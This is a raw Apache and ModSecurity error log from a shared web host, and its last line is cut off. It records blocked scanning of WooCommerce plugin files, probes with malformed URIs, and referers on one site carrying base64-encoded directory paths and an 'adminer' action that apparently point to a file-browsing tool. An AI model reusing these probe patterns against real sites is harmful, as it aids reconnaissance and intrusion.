/home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:15:00.866812 2026] [access_compat:error] [pid 646876:tid 646986] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/gateways/simplify-commerce/class-wc-gateway-simplify-commerce.php [Sat Jun 13 18:15:00.875617 2026] [access_compat:error] [pid 646876:tid 646986] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/gateways/simplify-commerce/class-wc-addons-gateway-simplify-commerce.php [Sat Jun 13 18:15:00.885741 2026] [access_compat:error] [pid 646876:tid 646881] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/shipping/flat-rate/class-wc-shipping-flat-rate.php [Sat Jun 13 18:15:00.939714 2026] [access_compat:error] [pid 646876:tid 646995] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/shipping/free-shipping/class-wc-shipping-free-shipping.php [Sat Jun 13 18:15:00.987941 2026] [access_compat:error] [pid 646876:tid 646884] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/shipping/international-delivery/class-wc-shipping-international-delivery.php [Sat Jun 13 18:15:00.994945 2026] [access_compat:error] [pid 646876:tid 646967] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/shipping/local-delivery/class-wc-shipping-local-delivery.php [Sat Jun 13 18:15:01.008161 2026] [security2:error] [pid 646876:tid 646886] [remote 17.22.253.193:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 193.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yhNyTkdrNlD40tSGbHQAAIAc"] [Sat Jun 13 18:15:01.019507 2026] [core:error] [pid 646876:tid 646879] [remote 185.177.72.9:2714] AH10244: invalid URI path (/%22%s/%22) [Sat Jun 13 18:15:01.036524 2026] [access_compat:error] [pid 646876:tid 646983] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/shipping/local-pickup/class-wc-shipping-local-pickup.php [Sat Jun 13 18:15:01.072789 2026] [core:error] [pid 646876:tid 646903] [remote 185.177.72.9:2714] AH10244: invalid URI path (/%22%2$s/%22) [Sat Jun 13 18:15:01.148843 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/plain/customer-processing-order.php [Sat Jun 13 18:15:01.149060 2026] [access_compat:error] [pid 646876:tid 646935] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/add-to-cart/simple.php [Sat Jun 13 18:15:01.149787 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/plain/email-addresses.php [Sat Jun 13 18:15:01.149812 2026] [access_compat:error] [pid 646876:tid 646935] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/add-to-cart/variable.php [Sat Jun 13 18:15:01.150610 2026] [access_compat:error] [pid 646876:tid 646935] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/add-to-cart/external.php [Sat Jun 13 18:15:01.150762 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/plain/customer-new-account.php [Sat Jun 13 18:15:01.151476 2026] [access_compat:error] [pid 646876:tid 646935] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/add-to-cart/grouped.php [Sat Jun 13 18:15:01.151640 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/plain/admin-failed-order.php [Sat Jun 13 18:15:01.152172 2026] [access_compat:error] [pid 646876:tid 646935] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/add-to-cart/variation.php [Sat Jun 13 18:15:01.152413 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/plain/customer-note.php [Sat Jun 13 18:15:01.152962 2026] [access_compat:error] [pid 646876:tid 646935] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/add-to-cart/variation-add-to-cart-button.php [Sat Jun 13 18:15:01.153321 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/plain/customer-reset-password.php [Sat Jun 13 18:15:01.154285 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/plain/email-order-details.php [Sat Jun 13 18:15:01.155231 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/plain/email-order-items.php [Sat Jun 13 18:15:01.156066 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/plain/customer-invoice.php [Sat Jun 13 18:15:01.156946 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/plain/email-customer-details.php [Sat Jun 13 18:15:01.157929 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/plain/customer-completed-order.php [Sat Jun 13 18:15:01.159130 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/plain/customer-refunded-order.php [Sat Jun 13 18:15:01.160084 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/plain/admin-new-order.php [Sat Jun 13 18:15:01.161079 2026] [access_compat:error] [pid 646876:tid 646924] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/emails/plain/admin-cancelled-order.php [Sat Jun 13 18:15:01.166697 2026] [access_compat:error] [pid 646876:tid 646906] [remote 57.141.14.75:44586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:01.167053 2026] [access_compat:error] [pid 646876:tid 646906] [remote 57.141.14.75:44586] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:01.176869 2026] [access_compat:error] [pid 646876:tid 646921] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/tabs/additional-information.php [Sat Jun 13 18:15:01.177733 2026] [access_compat:error] [pid 646876:tid 646921] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/tabs/description.php [Sat Jun 13 18:15:01.178602 2026] [access_compat:error] [pid 646876:tid 646921] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/templates/single-product/tabs/tabs.php [Sat Jun 13 18:15:01.180895 2026] [access_compat:error] [pid 646876:tid 646923] [remote 57.141.14.106:37573] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:01.181323 2026] [access_compat:error] [pid 646876:tid 646923] [remote 57.141.14.106:37573] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:01.279947 2026] [access_compat:error] [pid 646876:tid 646975] [remote 57.141.14.92:62148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:01.280409 2026] [access_compat:error] [pid 646876:tid 646975] [remote 57.141.14.92:62148] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:01.340497 2026] [access_compat:error] [pid 646876:tid 646932] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/views/html-product-variation-download.php [Sat Jun 13 18:15:01.341859 2026] [access_compat:error] [pid 646876:tid 646932] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/views/html-order-refund.php [Sat Jun 13 18:15:01.342980 2026] [access_compat:error] [pid 646876:tid 646932] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/views/html-variation-admin.php [Sat Jun 13 18:15:01.344132 2026] [access_compat:error] [pid 646876:tid 646932] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/views/html-product-download.php [Sat Jun 13 18:15:01.345233 2026] [access_compat:error] [pid 646876:tid 646932] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/views/html-order-item.php [Sat Jun 13 18:15:01.346296 2026] [access_compat:error] [pid 646876:tid 646932] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/views/html-order-download-permission.php [Sat Jun 13 18:15:01.347327 2026] [access_compat:error] [pid 646876:tid 646932] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/views/html-order-items.php [Sat Jun 13 18:15:01.348407 2026] [access_compat:error] [pid 646876:tid 646932] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/views/html-order-shipping.php [Sat Jun 13 18:15:01.349543 2026] [access_compat:error] [pid 646876:tid 646932] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/views/html-product-attribute.php [Sat Jun 13 18:15:01.350603 2026] [access_compat:error] [pid 646876:tid 646932] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/meta-boxes/views/html-order-fee.php [Sat Jun 13 18:15:01.362043 2026] [access_compat:error] [pid 646876:tid 646899] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/views/html-keys-edit.php [Sat Jun 13 18:15:01.363523 2026] [access_compat:error] [pid 646876:tid 646899] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/views/settings-tax.php [Sat Jun 13 18:15:01.364994 2026] [access_compat:error] [pid 646876:tid 646899] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/views/html-webhooks-edit.php [Sat Jun 13 18:15:01.366419 2026] [access_compat:error] [pid 646876:tid 646899] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/views/html-settings-tax.php [Sat Jun 13 18:15:01.367765 2026] [access_compat:error] [pid 646876:tid 646899] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/views/html-webhook-logs.php [Sat Jun 13 18:15:01.368896 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9kcml2ZXIvbW9kdWxl [Sat Jun 13 18:15:01.369087 2026] [access_compat:error] [pid 646876:tid 646899] [remote 185.177.72.9:2714] AH01797: client denied by server configuration: /home3/bradgore/public_html/wp-content/plugins/woocommerce/includes/admin/settings/views/html-webhook-log.php [Sat Jun 13 18:15:01.369141 2026] [access_compat:error] [pid 646876:tid 646999] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9kcml2ZXIvbW9kdWxl [Sat Jun 13 18:15:01.804503 2026] [access_compat:error] [pid 646876:tid 646991] [remote 57.141.14.100:29605] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:01.804969 2026] [access_compat:error] [pid 646876:tid 646991] [remote 57.141.14.100:29605] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:01.807872 2026] [access_compat:error] [pid 646876:tid 646989] [remote 57.141.14.82:59252] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:01.808131 2026] [access_compat:error] [pid 646876:tid 646989] [remote 57.141.14.82:59252] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:01.911478 2026] [security2:error] [pid 646876:tid 646982] [remote 17.241.219.211:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 211.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yhdyTkdrNlD40tSGbigAATGc"] [Sat Jun 13 18:15:01.927745 2026] [http2:info] [pid 648189:tid 648189] h2_workers: created with min=128 max=192 idle_ms=600000 [Sat Jun 13 18:15:01.932054 2026] [access_compat:error] [pid 646876:tid 646997] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:15:01.932480 2026] [access_compat:error] [pid 646876:tid 646997] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L2V2ZW50Ni9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZQ== [Sat Jun 13 18:15:01.942739 2026] [access_compat:error] [pid 646876:tid 646996] [remote 57.141.14.29:40047] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:01.943176 2026] [access_compat:error] [pid 646876:tid 646996] [remote 57.141.14.29:40047] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:02.053935 2026] [security2:error] [pid 646876:tid 646961] [remote 17.22.245.62:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 62.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yhtyTkdrNlD40tSGblAAALlI"] [Sat Jun 13 18:15:02.056202 2026] [security2:error] [pid 646876:tid 646902] [remote 185.177.72.9:2718] ModSecurity: Access denied with code 406 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "61"] [id "390616"] [rev "2"] [msg "Atomicorp.com WAF Rules: POST request must have a Content-Length header"] [severity "WARNING"] [hostname "bradgoreski.co"] [uri "/"] [unique_id "ai3yhtyTkdrNlD40tSGblQAAMxc"] [Sat Jun 13 18:15:02.229817 2026] [lsapi:warn] [pid 646876:tid 647033] [client 43.155.129.131:53082] [host www.codeproblem.com] Backend log: PHP Warning: session_write_close(): Cannot call session save handler in a recursive manner in /home2/hamaraq1/public_html/codeproblem/public_html/libraries/joomla/session/session.php on line 676\n [Sat Jun 13 18:15:02.229861 2026] [lsapi:warn] [pid 646876:tid 647033] [client 43.155.129.131:53082] [host www.codeproblem.com] Backend log: PHP Warning: session_write_close(): Failed to write session data using user defined save handler. (session.save_path: /opt/alt/php74/var/lib/php/session) in /home2/hamaraq1/public_html/codeproblem/public_html/libraries/joomla/session/session.php on line 676\n [Sat Jun 13 18:15:02.316703 2026] [security2:error] [pid 646876:tid 646886] [remote 17.246.19.220:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 220.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yhtyTkdrNlD40tSGboAAAMwc"] [Sat Jun 13 18:15:02.327615 2026] [security2:error] [pid 646876:tid 646967] [remote 17.241.219.163:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 163.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yhtyTkdrNlD40tSGbnwAALlg"] [Sat Jun 13 18:15:02.436542 2026] [security2:error] [pid 646876:tid 646898] [remote 17.22.237.157:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 157.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yhtyTkdrNlD40tSGbtwAANRM"] [Sat Jun 13 18:15:02.467920 2026] [security2:error] [pid 646876:tid 646969] [remote 185.177.72.9:2720] ModSecurity: Access denied with code 406 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "61"] [id "390616"] [rev "2"] [msg "Atomicorp.com WAF Rules: POST request must have a Content-Length header"] [severity "WARNING"] [hostname "bradgoreski.co"] [uri "/_next"] [unique_id "ai3yhtyTkdrNlD40tSGb8gAAXVo"] [Sat Jun 13 18:15:02.469357 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:02.469767 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L3N1YnN5c3RlbS9pbnB1dDcvY2FwYWJpbGl0aWVz [Sat Jun 13 18:15:02.568800 2026] [access_compat:error] [pid 646876:tid 646913] [remote 216.73.216.182:1416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:15:02.569242 2026] [access_compat:error] [pid 646876:tid 646913] [remote 216.73.216.182:1416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:15:02.876473 2026] [security2:error] [pid 648189:tid 648232] [remote 185.177.72.9:2728] ModSecurity: Access denied with code 406 (phase 2). Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "61"] [id "390616"] [rev "2"] [msg "Atomicorp.com WAF Rules: POST request must have a Content-Length header"] [severity "WARNING"] [hostname "bradgoreski.co"] [uri "/api"] [unique_id "ai3yhlWSojQL4F7upKBSYAAAtww"] [Sat Jun 13 18:15:02.894162 2026] [security2:error] [pid 646876:tid 646919] [remote 216.73.216.182:1416] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3yhtyTkdrNlD40tSGcCQAAECg"], referer: https://homs.co.ke/?action=adminer&p=Ly9saWIvLmJ1aWxkLWlkLzQ1 [Sat Jun 13 18:15:02.908026 2026] [security2:error] [pid 646876:tid 646943] [remote 17.241.75.117:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 117.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yhtyTkdrNlD40tSGcCgAAR0A"] [Sat Jun 13 18:15:02.985354 2026] [access_compat:error] [pid 646876:tid 646945] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 